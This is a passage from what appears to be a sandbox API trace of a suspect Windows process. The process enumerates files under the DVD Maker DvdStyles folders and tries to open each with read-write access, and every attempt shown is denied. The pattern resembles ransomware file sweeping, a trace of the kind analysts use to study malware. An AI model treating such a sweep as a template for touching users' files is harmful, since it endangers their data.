hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72aba1e5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72aba1e5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x239b, dwReserved0=0x0, dwReserved1=0x0, cFileName="mainimage-mask.png", cAlternateFileName="")) returned 1 [0103.934] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\mainimage-mask.png") returned 71 [0103.934] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\mainimage-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\mainimage-mask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.935] GetLastError () returned 0x5 [0103.935] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae0342, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72ae0342, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x559, dwReserved0=0x0, dwReserved1=0x0, cFileName="notes-static.png", cAlternateFileName="")) returned 1 [0103.935] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png") returned 69 [0103.935] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\notes-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.950] GetLastError () returned 0x5 [0103.950] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae0342, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72ae0342, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x505, dwReserved0=0x0, dwReserved1=0x0, cFileName="play-static.png", cAlternateFileName="")) returned 1 [0103.950] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\play-static.png") returned 68 [0103.950] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\play-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\play-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.951] GetLastError () returned 0x5 [0103.951] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae0342, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72ae0342, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x505, dwReserved0=0x0, dwReserved1=0x0, cFileName="play-static.png", cAlternateFileName="")) returned 0 [0103.951] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0103.953] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ecb0968, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ecb0968, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1276, dwReserved0=0x0, dwReserved1=0x0, cFileName="BlackRectangle.bmp", cAlternateFileName="")) returned 1 [0103.954] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BlackRectangle.bmp") returned 62 [0103.954] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BlackRectangle.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\blackrectangle.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.956] GetLastError () returned 0x5 [0103.956] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebf2297, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebf2297, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6a91, dwReserved0=0x0, dwReserved1=0x0, cFileName="circleround_glass.png", cAlternateFileName="")) returned 1 [0103.956] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_glass.png") returned 65 [0103.956] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_glass.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_glass.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.956] GetLastError () returned 0x5 [0103.956] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebf2297, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebf2297, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf26, dwReserved0=0x0, dwReserved1=0x0, cFileName="circleround_selectionsubpicture.png", cAlternateFileName="")) returned 1 [0103.956] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_selectionsubpicture.png") returned 79 [0103.956] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.958] GetLastError () returned 0x5 [0103.958] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebcc13a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebcc13a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="circleround_videoinset.png", cAlternateFileName="")) returned 1 [0103.958] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_videoinset.png") returned 70 [0103.958] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.958] GetLastError () returned 0x5 [0103.958] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6edbb2f3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6edbb2f3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c53d379, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6a91, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0103.958] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_ButtonGraphic.png") returned 68 [0103.958] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.958] GetLastError () returned 0x5 [0103.959] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e990cc7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e990cc7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="circle_glass_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0103.959] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circle_glass_Thumbnail.bmp") returned 70 [0103.959] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circle_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_glass_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.959] GetLastError () returned 0x5 [0103.959] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ede1450, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ede1450, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf26, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_SelectionSubpictureA.png", cAlternateFileName="")) returned 1 [0103.959] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureA.png") returned 75 [0103.959] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureA.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpicturea.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.959] GetLastError () returned 0x5 [0103.959] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ede1450, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ede1450, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_SelectionSubpictureB.png", cAlternateFileName="")) returned 1 [0103.959] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureB.png") returned 75 [0103.960] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureB.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpictureb.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.961] GetLastError () returned 0x5 [0103.961] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee2d70a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee2d70a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_VideoInset.png", cAlternateFileName="")) returned 1 [0103.961] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_VideoInset.png") returned 65 [0103.961] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.961] GetLastError () returned 0x5 [0103.961] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea030de, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea030de, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9fff39, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cloud_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0103.961] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\cloud_Thumbnail.bmp") returned 63 [0103.962] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\cloud_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\cloud_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.962] GetLastError () returned 0x5 [0103.962] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee2d70a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee2d70a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9fff39, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5c9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dot.png", cAlternateFileName="")) returned 1 [0103.962] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Dot.png") returned 51 [0103.962] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.962] GetLastError () returned 0x5 [0103.962] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee799c4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee799c4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4cb30a29, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x422c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DvdTransform.fx", cAlternateFileName="")) returned 1 [0103.962] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\DvdTransform.fx") returned 59 [0103.962] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\DvdTransform.fx" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dvdtransform.fx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.963] GetLastError () returned 0x5 [0103.963] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlipPage", cAlternateFileName="")) returned 1 [0103.963] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage") returned 52 [0103.963] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\*.*") returned 56 [0103.963] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0103.967] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.967] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe188e9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe188e9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0103.967] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\1047x576black.png") returned 70 [0103.967] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.968] GetLastError () returned 0x5 [0103.968] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe3ea46, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe3ea46, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0103.968] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png") returned 72 [0103.968] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\203x8subpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.970] GetLastError () returned 0x5 [0103.970] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fed6fba, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fed6fba, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0103.970] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png") returned 85 [0103.970] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.971] GetLastError () returned 0x5 [0103.971] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6feb0e5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6feb0e5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0103.971] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png") returned 91 [0103.971] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.973] GetLastError () returned 0x5 [0103.973] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6feb0e5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6feb0e5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0103.973] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png") returned 86 [0103.973] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.975] GetLastError () returned 0x5 [0103.975] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe64ba3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe64ba3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0103.975] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png") returned 92 [0103.975] CreateFileW (lpFileName="C:\\Program Files\\DVD 